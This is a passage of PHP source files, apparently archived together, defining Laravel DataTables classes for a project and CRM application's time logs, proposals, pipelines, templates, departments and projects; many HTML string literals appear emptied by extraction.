'fnDrawCallback' => 'function( oSettings ) { $(".select-picker").selectpicker(); $("body").popover({ selector: \'[data-toggle="popover"]\', trigger: "hover", placement: "top", }) // $(\'[data-toggle="popover"]\').popover(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => !showId()], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => showId()], __('modules.taskCode') => ['data' => 'short_code', 'name' => 'project_short_code', 'title' => __('modules.taskCode')], __('app.task') => ['data' => 'project_name', 'name' => 'tasks.heading', 'exportable' => false, 'width' => '200', 'title' => __('app.task')], __('app.tasks') => ['data' => 'task_name', 'visible' => false, 'name' => 'task_name', 'title' => __('app.tasks')], __('app.project') => ['data' => 'task_project_name', 'visible' => false, 'name' => 'task_project_name', 'title' => __('app.project')], __('app.employee') => ['data' => 'name', 'name' => 'users.name', 'exportable' => false, 'title' => __('app.employee')], __('app.name') => ['data' => 'employee_name', 'name' => 'name', 'visible' => false, 'title' => __('app.name')], __('modules.timeLogs.startTime') => ['data' => 'start_time', 'name' => 'start_time', 'title' => __('modules.timeLogs.startTime')], __('modules.timeLogs.endTime') => ['data' => 'end_time', 'name' => 'end_time', 'title' => __('modules.timeLogs.endTime')], __('modules.timeLogs.totalHours') => ['data' => 'total_hours', 'name' => 'total_hours', 'title' => __('modules.timeLogs.totalHours')], __('app.earnings') => ['data' => 'earnings', 'name' => 'earnings', 'title' => __('app.earnings'), 'visible' => ($this->viewTimelogEarningsPermission == 'all'), 'exportable' => ($this->viewTimelogEarningsPermission == 'all')] ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, CustomFieldGroup::customFieldsDataMerge(new ProjectTimeLog()), $action); } } DataTables/ProposalDataTable.php000064400000031513150325104510012621 0ustar00editProposalPermission = user()->permission('edit_lead_proposals'); $this->addInvoicePermission = user()->permission('add_invoices'); $this->deleteProposalPermission = user()->permission('delete_lead_proposals'); $this->viewProposalPermission = user()->permission('view_lead_proposals'); $this->leadFilterFalse = $leadFilterFalse; } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addIndexColumn() ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->editColumn('client_name', function ($row) { return '' . $row->deal_name . ''; }) ->addColumn('proposal_number', function ($row) { return '' . $row->proposal_number . ''; }) ->addColumn('contact', function ($row) { return '' . ucwords($row->salutation . ' ') . $row->contact_name . ''; }) ->editColumn('status', function ($row) { $status = ''; if ($row->status == 'waiting') { $status = ' ' . __('modules.proposal.' . $row->status); } if ($row->status == 'declined') { $status = ' ' . __('modules.proposal.' . $row->status); } if ($row->status == 'accepted') { $status = ' ' . __('modules.proposal.' . $row->status); } if (!$row->send_status) { $status .= ' ' . __('modules.invoices.notSent') . ''; } return $status; }) ->editColumn('total', function ($row) { return currency_format($row->total, $row->currencyId); }) ->editColumn( 'valid_till', function ($row) { return Carbon::parse($row->valid_till)->translatedFormat($this->company->date_format); } ) ->editColumn( 'created_at', function ($row) { return Carbon::parse($row->created_at)->translatedFormat($this->company->date_format); } ) ->rawColumns(['name', 'action', 'contact', 'status', 'client_name', 'proposal_number']) ->removeColumn('currency_symbol'); } /** * @return \Illuminate\Database\Query\Builder */ public function query() { $request = $this->request(); $model = Proposal::select([ 'proposals.id', 'proposals.hash', 'deals.name as deal_name', 'proposals.send_status', 'leads.client_id', 'leads.id as leadId', 'deals.id as deal_id', 'total', 'valid_till', 'proposals.status', 'currencies.currency_symbol', 'currencies.id as currencyId', 'leads.company_name', 'proposals.added_by', 'proposals.created_at', 'leads.client_name as contact_name', 'leads.salutation', 'proposals.proposal_number', ]) ->with('signature') ->join('currencies', 'currencies.id', '=', 'proposals.currency_id') ->join('deals', 'deals.id', '=', 'proposals.deal_id') ->leftJoin('leads', 'leads.id', '=', 'deals.lead_id'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where(DB::raw('DATE(proposals.`created_at`)'), '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where(DB::raw('DATE(proposals.`created_at`)'), '<=', $endDate); } // disable this filter when proposals are retrived from the deal tab if (!$this->leadFilterFalse && $request->leadId !== null && $request->leadId != 'null' && $request->leadId != '' && $request->leadId != 'all') { $model = $model->where('deals.lead_id', $request->leadId); } // use the leadid here when accessing the proposals from the deal tab if ($this->leadFilterFalse && $request->leadId !== null && $request->leadId != 'null' && $request->leadId != '' && $request->leadId != 'all') { $model = $model->where('proposals.deal_id', $request->leadId); } if ($request->status != 'all' && !is_null($request->status)) { $model = $model->where('proposals.status', '=', $request->status); } if ($this->viewProposalPermission == 'added') { $model = $model->where('proposals.added_by', user()->id); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('leads.client_name', 'like', '%' . request('searchText') . '%') ->orWhere('deals.name', 'like', '%' . request('searchText') . '%') ->orWhere('proposals.id', 'like', '%' . request('searchText') . '%') ->orWhere('total', 'like', '%' . request('searchText') . '%') ->orWhere(function ($query) { $query->where('proposals.status', 'like', '%' . request('searchText') . '%'); }); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('invoices-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["invoices-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => false], __('modules.lead.proposal') => ['data' => 'proposal_number', 'name' => 'proposal_number', 'title' => __('modules.lead.proposal')], __('app.deal') => ['data' => 'client_name', 'name' => 'client_name', 'title' => __('app.deal')], __('modules.leadContact.contactName') => ['data' => 'contact', 'name' => 'contact', 'title' => __('modules.leadContact.contactName')], __('modules.invoices.total') => ['data' => 'total', 'name' => 'total', 'title' => __('modules.invoices.total')], __('app.date') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.date')], __('modules.estimates.validTill') => ['data' => 'valid_till', 'name' => 'valid_till', 'title' => __('modules.estimates.validTill')], __('app.status') => ['data' => 'status', 'name' => 'status', 'title' => __('app.status')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/LeadPipelineDataTable.php000064400000014240150325104510013353 0ustar00addPipelinePermission = user()->permission('add_lead_pipeline'); $this->editPipelinePermission = user()->permission('edit_lead_pipeline'); $this->deletePipelinePermission = user()->permission('delete_lead_pipeline'); $this->viewPipelinePermission = user()->permission('view_lead_pipeline'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('action', function ($row) { $action = '
'; return $action; }); $datatables->editColumn('name', function ($row) { return ' '; }); $datatables->editColumn('created_at', function ($row) { return $row->created_at->translatedFormat($this->company->date_format); }); $datatables->smart(false); $datatables->setRowId(fn($row) => 'row-' . $row->id); $datatables->rawColumns(['action', 'name']); return $datatables; } /** * @param Lead $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(LeadPipeline $model) { $leadContact = $model->select('lead_pipelines.*'); if ($this->viewLeadPermission == 'both') { $leadContact = $leadContact->where(function ($query) { $query->orWhere('leads.added_by', user()->id); }); } if ($this->request()->searchText != '') { $leadContact = $leadContact->where('lead_pipelines.name', 'like', '%' . request('searchText') . '%'); } return $leadContact; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('lead-pipeline-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["lead-pipeline-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }); $(".statusChange").selectpicker(); }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { $data = [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id'), 'visible' => showId()], __('app.name') => ['data' => 'name', 'name' => 'name', 'exportable' => false, 'title' => __('app.name')], ]; $action = [ Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; return array_merge($data, $action); } } DataTables/EstimateTemplateDataTable.php000064400000014412150325104510014270 0ustar00editEstimatePermission = user()->permission('edit_estimates'); $this->deleteEstimatePermission = user()->permission('delete_estimates'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $userId = UserService::getUserId(); return datatables() ->eloquent($query) ->addIndexColumn() ->addColumn('action', function ($row) use ($userId) { $action = '
'; return $action; }) ->addColumn('name', function ($row) { return $row->name; }) ->editColumn('total', function ($row) { return currency_format($row->total, $row->currencyId); }) ->editColumn( 'created_at', function ($row) { return Carbon::parse($row->created_at)->translatedFormat($this->company->date_format); } ) ->rawColumns(['name', 'action', 'client_name']) ->removeColumn('currency_symbol'); } /** * @return \Illuminate\Database\Query\Builder */ public function query(EstimateTemplate $model) { $request = $this->request(); $model = $model->select('estimate_templates.id', 'estimate_templates.name', 'estimate_templates.hash', 'total', 'currencies.currency_symbol', 'currencies.id as currencyId', 'estimate_templates.added_by', 'estimate_templates.created_at') ->join('currencies', 'currencies.id', '=', 'estimate_templates.currency_id'); $model->where(function ($query) { $query->where('estimate_templates.name', 'like', '%' . request('searchText') . '%'); }); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('estimate-template-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["estimate-template-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id')], __('app.name') => ['data' => 'name', 'name' => 'name', 'title' => __('app.name')], __('modules.invoices.total') => ['data' => 'total', 'name' => 'total', 'title' => __('modules.invoices.total')], __('app.date') => ['data' => 'created_at', 'name' => 'estimate_templates.created_at', 'title' => __('app.date')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/consolidatedTaskReportDataTable.php000064400000011626150325104510015514 0ustar00eloquent($query) ->editColumn('heading', function ($row) { return $row->heading; }) ->addColumn('estimate_hours', function ($row) { return $row->estimate_hours . ' ' . trans('app.hour') . ' ' . $row->total_minutes . ' ' . trans('app.minutes'); }) ->editColumn('spent_minutes', function ($row) { $hours = floor($row->spent_minutes / 60); $minutes = $row->spent_minutes % 60; return $hours . ' ' . __('app.hour') . ' ' . $minutes . ' ' . __('app.minutes'); }) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['total_logged_hours']); } /** * Get the query source of dataTable. */ public function query() { $request = $this->request(); $startDate = null; $endDate = null; $model = Task::leftJoin('project_time_logs', 'tasks.id', '=', 'project_time_logs.task_id') ->leftJoin('project_time_log_breaks', 'project_time_logs.id', '=', 'project_time_log_breaks.project_time_log_id') ->leftJoin('task_users', 'task_users.task_id', '=', 'tasks.id') ->select( 'tasks.id', 'tasks.heading', 'tasks.estimate_hours', 'tasks.estimate_minutes', DB::raw('IFNULL(SUM(project_time_logs.total_minutes), 0) - IFNULL(SUM(project_time_log_breaks.total_minutes), 0) AS spent_minutes'), ); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); $model = $model->where('project_time_logs.start_time', '>=', $startDate); } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); $model = $model->where('project_time_logs.start_time', '<=', $endDate); } if ($request->project_id !== null && $request->project_id != 'null' && $request->project_id != 'all' && $request->project_id != '') { $model = $model->where('tasks.project_id', $request->project_id); } if ($request->assignedTo !== null && $request->assignedTo != 'null' && $request->assignedTo != 'all' && $request->assignedTo != '') { $model = $model->where('task_users.user_id', $request->assignedTo); } $model = $model->groupBy('tasks.id', 'tasks.heading', 'tasks.estimate_hours'); return $model; } /** * Optional method if you want to use the html builder. */ public function html() { $dataTable = $this->setBuilder('consolidated-task-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["consolidated-task-table"].buttons().container() .appendTo("#table-actions"); var colBtnParent = $(".buttons-colvis").parent(); $(".buttons-colvis").appendTo("#column-visibilty").removeClass("btn-secondary").addClass("p-0 f-13 mr-2 text-dark-grey"); colBtnParent.remove(); }', 'fnDrawCallback' => 'function( oSettings ) { $("#consolidated-task-table .select-picker").selectpicker(); }', 'columnDefs' => [ [ 'targets' => 1, 'className' => 'noVis' ] ] ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get the dataTable columns definition. */ public function getColumns(): array { return [ '#' => ['data' => 'id', 'name' => 'id', 'visible' => false, 'class' => 'noVis'], __('app.task') => ['data' => 'heading', 'name' => 'heading', 'exportable' => true, 'title' => __('app.task')], __('modules.tasks.estimateHours') => ['data' => 'estimate_hours', 'name' => 'estimate_hours', 'title' => __('modules.tasks.estimateHours')], __('modules.tasks.totalHoursSpent') => ['data' => 'spent_minutes', 'name' => 'spent_minutes', 'title' => __('modules.tasks.totalHoursSpent')], ]; } /** * Get the filename for export. */ protected function filename(): string { return 'EmployeeWiseTask_' . date('YmdHis'); } } DataTables/DepartmentDataTable.php000064400000014543150325104510013131 0ustar00editDepartmentPermission = user()->permission('edit_department'); $this->deleteDepartmentPermission = user()->permission('delete_department'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addColumn('check', fn($row) => $this->checkBox($row)) ->addColumn('action', function ($row) { $action = '
' . __('app.view') . '
'; return $action; }) ->editColumn( 'name', function ($row) { return '
' . $row->team_name . '
'; } ) ->editColumn('parent_id', function ($row) { // get name of parent department $parent = Team::where('id', $row->parent_id)->first(); if ($parent) { return $parent->team_name; } return '-'; }) ->addIndexColumn() ->smart(false) ->setRowId(fn($row) => 'row-' . $row->id) ->rawColumns(['action', 'name', 'check']); } /** * Get query source of dataTable. * * @param \App\Models\Team $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Team $model) { $request = $this->request(); $model = $model->select('*'); if (request()->searchText != '') { $model->where('team_name', 'like', '%' . request()->searchText . '%'); } if ($request->parentId != 'all' && $request->parentId != null) { $departments = Team::with('childs')->where('id', $request->parentId)->get(); foreach ($departments as $department) { if ($department->childs) { $this->child($department->childs); array_push($this->arr, $department->id); } } $model->whereIn('id', $this->arr); } return $model; } public function child($child) { foreach ($child as $item) { array_push($this->arr, $item->id); if ($item->childs) { $this->child($item->childs); } } } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('departments-table', 2) ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["departments-table"].buttons().container() .appendTo("#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => ' ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ 'check' => [ 'title' => '', 'exportable' => false, 'orderable' => false, 'searchable' => false, 'visible' => !in_array('client', user_roles()) ], '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.name') => ['data' => 'name', 'name' => 'team_name', 'title' => __('app.name')], __('modules.department.parentDepartment') => ['data' => 'parent_id', 'name' => 'parent_id', 'exportable' => true, 'title' => __('modules.department.parentDepartment')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/ProposalTemplateDataTable.php000064400000014544150325104510014322 0ustar00viewProposalPermission = user()->permission('view_lead_proposals'); $this->addProposalPermission = user()->permission('add_lead_proposals'); $this->editProposalsPermission = user()->permission('edit_lead_proposals'); $this->deleteProposalPermission = user()->permission('delete_lead_proposals'); $this->manageProposalTemplate = user()->permission('manage_proposal_template'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { return datatables() ->eloquent($query) ->addIndexColumn() ->addColumn('action', function ($row) { $action = '
'; return $action; }) ->addColumn('name', function ($row) { return $row->name; }) ->editColumn('total', function ($row) { return currency_format($row->total, $row->currencyId); }) ->editColumn( 'created_at', function ($row) { return Carbon::parse($row->created_at)->translatedFormat($this->company->date_format); } ) ->rawColumns(['name', 'action', 'client_name']) ->removeColumn('currency_symbol'); } /** * @return \Illuminate\Database\Query\Builder */ public function query(ProposalTemplate $model) { $request = $this->request(); $model = $model->select('proposal_templates.id', 'proposal_templates.name', 'proposal_templates.hash', 'total', 'currencies.currency_symbol', 'currencies.id as currencyId', 'proposal_templates.added_by', 'proposal_templates.created_at') ->join('currencies', 'currencies.id', '=', 'proposal_templates.currency_id'); if ($this->manageProposalTemplate == 'added') { $model->where(function ($query) { return $query->where('proposal_templates.added_by', user()->id); }); } if ($request->searchText != '') { $model->where(function ($query) { $query->where('proposal_templates.name', 'like', '%' . request('searchText') . '%'); }); } return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('proposal-template-table') ->parameters([ 'initComplete' => 'function () { window.LaravelDataTables["proposal-template-table"].buttons().container() .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $("body").tooltip({ selector: \'[data-toggle="tooltip"]\' }) }', ]); return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => ['data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => false, 'title' => '#'], __('app.id') => ['data' => 'id', 'name' => 'id', 'title' => __('app.id')], __('modules.proposal.name') => ['data' => 'name', 'name' => 'name', 'title' => __('modules.proposal.name')], __('modules.invoices.total') => ['data' => 'total', 'name' => 'total', 'title' => __('modules.invoices.total')], __('app.date') => ['data' => 'created_at', 'name' => 'created_at', 'title' => __('app.date')], Column::computed('action', __('app.action')) ->exportable(false) ->printable(false) ->orderable(false) ->searchable(false) ->addClass('text-right pr-20') ]; } } DataTables/ProjectsDataTable.php000064400000076230150325104510012620 0ustar00addProjectPermission = user()->permission('add_projects'); $this->editProjectsPermission = user()->permission('edit_projects'); $this->deleteProjectPermission = user()->permission('delete_projects'); $this->viewProjectPermission = user()->permission('view_projects'); $this->viewGanttPermission = user()->permission('view_project_gantt_chart'); $this->addProjectMemberPermission = user()->permission('add_project_members'); } /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { $projectStatus = ProjectStatusSetting::get(); $userId = UserService::getUserId(); $clientIds = ClientContact::where('user_id', $userId)->pluck('client_id')->toArray(); $datatables = datatables()->eloquent($query); $datatables->addIndexColumn(); $datatables->addColumn('check', fn($row) => $this->checkBox($row)); $datatables->addColumn('action', function ($row) use ($userId) { $memberIds = $row->members->pluck('user_id')->toArray(); $action = '
'; return $action; } ); $datatables->addColumn('members', function ($row) { if ($row->public) { return '--'; } $members = '
'; if (count($row->members) > 0) { foreach ($row->members as $key => $member) { if ($key < 4) { $img = ''; $position = $key > 0 ? 'position-absolute' : ''; $members .= ' '; } } } else if ($this->addProjectMemberPermission == 'all') { $members .= ' ' . __('modules.projects.addMemberTitle') . ''; } else { $members .= '--'; } if (count($row->members) > 4) { $members .= ' '; } $members .= '
'; return $members; } ); $datatables->addColumn('name', function ($row) { $members = []; if (count($row->members) > 0) { foreach ($row->members as $member) { $members[] = $member->user->name; } return implode(',', $members); } }); $datatables->addColumn('project', function ($row) { return $row->project_name; }); $datatables->addColumn('project_cat', function ($row) { return $row->category->category_name ?? '--'; }); $datatables->addColumn('project_dept', function ($row) { $dept = []; if (count($row->departments) > 0) { foreach ($row->departments as $dep) { $dept[] = $dep->department->team_name; } return implode(', ', $dept); } return '--'; }); $datatables->editColumn('project_name', function ($row) { $pin = ''; if (($row->pinned_project)) { $pin .= ' ' . __('app.pinned') . ''; } if (($row->public)) { $pin = ' ' . __('app.public') . ''; } return ''; }); $datatables->editColumn('start_date', fn($row) => $row->start_date?->translatedFormat($this->company->date_format)); $datatables->editColumn('deadline', fn($row) => Common::dateColor($row->deadline)); $datatables->addColumn('client_name', fn($row) => $row->client?->name_salutation ?? '-'); $datatables->addColumn('client_email', fn($row) => $row->client?->email ?? '-'); $datatables->addColumn('project_status', fn($row) => ucwords($row->status)); $datatables->editColumn('client_id', fn($row) => $row->client_id ? view('components.client', ['user' => $row->client]) : ''); $datatables->addColumn('status', function ($row) use ($projectStatus, $userId, $clientIds) { $projectUsers = $row->members->pluck('user_id')->toArray(); if ($row->completion_percent < 50) { $statusColor = 'danger'; } elseif ($row->completion_percent < 75) { $statusColor = 'warning'; } else { $statusColor = 'success'; } $status = '

' . $row->completion_percent . '%

'; if ($this->editProjectsPermission == 'all' || ($this->editProjectsPermission == 'added' && (user()->id == $row->added_by || $userId == $row->added_by || in_array($row->added_by, $clientIds))) || ($this->editProjectsPermission == 'owned' && $userId == $row->client_id && in_array('client', user_roles())) || ($this->editProjectsPermission == 'owned' && in_array(user()->id, $projectUsers) && in_array('employee', user_roles())) || ($this->editProjectsPermission == 'both' && ($userId == $row->client_id || user()->id == $row->added_by || $userId == $row->added_by || in_array($row->added_by, $clientIds))) || ($this->editProjectsPermission == 'both' && in_array(user()->id, $projectUsers) && in_array('employee', user_roles())) ) { $status .= ''; return $status; } else { foreach ($projectStatus as $item) { if ($row->status == $item->status_name) { // return '' . $item->status_name; $status .= '' . $item->status_name; return $status; } } } }); $datatables->editColumn('completion_percent', function ($row) { $completionPercent = $row->completion_percent; $statusColor = $completionPercent < 50 ? 'danger' : ($completionPercent < 75 ? 'warning' : 'success'); return '
' . $completionPercent . '%
'; }); $datatables->addColumn('completion_export', function ($row) { return $row->completion_percent . '% ' . __('app.complete'); }); $datatables->setRowId(fn($row) => 'row-' . $row->id); $datatables->editColumn('project_short_code', function ($row) { return '' . $row->project_short_code . ''; }); $datatables->orderColumn('status', 'status $1'); $datatables->removeColumn('project_summary'); $datatables->removeColumn('notes'); $datatables->removeColumn('category_id'); $datatables->removeColumn('feedback'); $datatables->setRowClass( function ($row) { return $row->pinned_project ? 'alert-primary' : ''; } ); // Custom Fields For export $customFieldColumns = CustomField::customFieldData($datatables, Project::CUSTOM_FIELD_MODEL); $datatables->rawColumns(array_merge(['project_name', 'action', 'completion_percent', 'members', 'status', 'client_id', 'check', 'project_short_code', 'deadline'], $customFieldColumns)); return $datatables; } /** * @param Project $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(Project $model) { $request = $this->request(); $userId = UserService::getUserId(); $model = $model ->with('members', 'members.user', 'client', 'client.clientDetails', 'currency', 'client.session', 'mentionUser', 'client.clientDetails.company:id,company_name', 'departments', 'category', 'departments.department') ->leftJoin('project_members', 'project_members.project_id', 'projects.id') ->leftJoin('users', 'project_members.user_id', 'users.id') ->leftJoin('users as client', 'projects.client_id', 'users.id') ->leftJoin('mention_users', 'mention_users.project_id', 'projects.id') ->leftJoin('project_departments', 'project_departments.project_id', 'projects.id') ->selectRaw( 'projects.id, projects.public_taskboard, projects.public_gantt_chart, projects.project_short_code, projects.hash, projects.added_by, projects.project_name, projects.start_date, projects.deadline, projects.client_id, projects.completion_percent, projects.project_budget, projects.currency_id, projects.category_id, projects.status, users.salutation, users.name, client.name as client_name, client.email as client_email, projects.public, mention_users.user_id as mention_user, ( select count("id") from pinned where pinned.project_id = projects.id and pinned.user_id = ' . $userId . ') as pinned_project' ); if ($request->pinned == 'pinned') { $model->join('pinned', 'pinned.project_id', 'projects.id'); $model->where('pinned.user_id', $userId); } if (!is_null($request->status) && $request->status != 'all') { if ($request->status == 'overdue') { $model->where('projects.completion_percent', '!=', 100); $todayDate = now(company()->timezone)->toDateString(); if ($request->deadLineStartDate == '' && $request->deadLineEndDate == '') { if ($request->startFilterDate == '' && $request->endFilterDate == '') { $model->whereDate('projects.deadline', '<', $todayDate); }else{ $startDate = companyToDateString($request->startFilterDate); $endDate = companyToDateString($request->endFilterDate); // Check if today's date is between start date and end date if ($todayDate >= $startDate && $todayDate <= $endDate) { $model->whereRaw('Date(projects.deadline) >= ?', [$startDate]) ->whereRaw('Date(projects.deadline) < ?', [$todayDate]); } else { $model->whereRaw('Date(projects.deadline) >= ?', [$startDate]) ->whereRaw('Date(projects.deadline) <= ?', [$endDate]); } } }else{ if ($request->startFilterDate == '' && $request->endFilterDate == '') { $startDate = companyToDateString($request->deadLineStartDate); $endDate = companyToDateString($request->deadLineEndDate); }else{ $startDate = companyToDateString($request->startFilterDate); $endDate = companyToDateString($request->endFilterDate); } // Check if today's date is between start date and end date if ($todayDate >= $startDate && $todayDate <= $endDate) { $model->whereRaw('Date(projects.deadline) >= ?', [$startDate]) ->whereRaw('Date(projects.deadline) < ?', [$todayDate]); } else { $model->whereRaw('Date(projects.deadline) >= ?', [$startDate]) ->whereRaw('Date(projects.deadline) <= ?', [$endDate]); } } } else { $model->where('projects.status', $request->status); } }else{ if ($request->startFilterDate !== null && $request->startFilterDate != 'null' && $request->startFilterDate != '') { $startFilterDate = companyToDateString($request->startFilterDate); $model->where(DB::raw('DATE(projects.`start_date`)'), '>=', $startFilterDate); } if ($request->endFilterDate !== null && $request->endFilterDate != 'null' && $request->endFilterDate != '') { $endFilterDate = companyToDateString($request->endFilterDate); $model->where(DB::raw('DATE(projects.`start_date`)'), '<=', $endFilterDate); } } if ($request->progress) { $model->where( function ($q) use ($request) { foreach ($request->progress as $progress) { $completionPercent = explode('-', $progress); $q->orWhereBetween('projects.completion_percent', [$completionPercent[0], $completionPercent[1]]); } } ); } if (!is_null($request->client_id) && $request->client_id != 'all') { $model->where('projects.client_id', $request->client_id); } if (!is_null($request->team_id) && $request->team_id != 'all') { $model->where( function ($query) { return $query->where('project_departments.team_id', request()->team_id); } ); } if (!is_null($request->category_id) && $request->category_id != 'all') { $model->where('category_id', $request->category_id); } if (!is_null($request->public) && $request->public != 'all') { $model->where('public', $request->public); } if (!is_null($request->employee_id) && $request->employee_id != 'all') { $model->where( function ($query) { return $query // ->where('projects.added_by', '=', user()->id) ->where('project_members.user_id', request()->employee_id) ->orWhere('mention_users.user_id', user()->id) ->orWhere('projects.public', 1); } ); } if ($this->viewProjectPermission == 'added') { $model->where( function ($query) use ($userId) { return $query->where('projects.added_by', $userId) ->orWhere('mention_users.user_id', user()->id) ->orWhere('projects.public', 1); } ); } if ($this->viewProjectPermission == 'owned' && in_array('employee', user_roles())) { $model->where( function ($query) { return $query->where('project_members.user_id', user()->id) ->orWhere('mention_users.user_id', user()->id) ->orWhere('projects.public', 1); } ); } if ($this->viewProjectPermission == 'both' && in_array('employee', user_roles())) { $model->where( function ($query) { return $query->where('projects.added_by', user()->id) ->orWhere('project_members.user_id', user()->id) ->orWhere('mention_users.user_id', user()->id) ->orWhere('projects.public', 1); } ); } if ($request->searchText != '') { $model->where( function ($query) { $query->where('projects.project_name', 'like', '%' . request('searchText') . '%') ->orWhere('users.name', 'like', '%' . request('searchText') . '%') ->orWhere('projects.project_short_code', 'like', '%' . request('searchText') . '%'); // project short code } ); } if ($request->status != 'overdue' && !is_null($request->status) && $request->status != 'all') { if ($request->startFilterDate !== null && $request->startFilterDate != 'null' && $request->startFilterDate != '') { $startFilterDate = companyToDateString($request->startFilterDate); $model->where(DB::raw('DATE(projects.`start_date`)'), '>=', $startFilterDate); } if ($request->endFilterDate !== null && $request->endFilterDate != 'null' && $request->endFilterDate != '') { $endFilterDate = companyToDateString($request->endFilterDate); $model->where(DB::raw('DATE(projects.`start_date`)'), '<=', $endFilterDate); } $model->where('projects.status', $request->status); } $model->groupBy('projects.id'); $model->orderByRaw('pinned_project desc'); // Handle ordering $columns = $request->get('columns'); $order = $request->get('order'); $model->orderByRaw('pinned_project desc'); if ($order) { foreach ($order as $o) { $columnIndex = $o['column']; $columnName = $columns[$columnIndex]['data']; $direction = $o['dir']; $model->orderBy($columnName, $direction); 